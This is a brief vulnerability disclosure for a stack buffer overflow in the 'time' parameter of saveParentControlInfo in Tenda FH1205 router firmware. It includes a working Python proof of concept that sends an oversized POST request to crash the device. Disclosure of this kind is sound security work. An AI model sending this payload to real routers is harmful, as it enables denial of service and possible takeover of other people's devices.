- Firmware download website: https://www.tenda.com.cn/download/detail-2236.html
FH1205 V2.0.0.7(775)
The function saveParentControlInfo
contains a stack-based buffer overflow vulnerability.
it reads in a user-provided parameter time
, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer.
As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/saveParentControlInfo"
payload = b"a"*1000
data = {"time": payload}
response = requests.post(url, data=data)
print(response.text)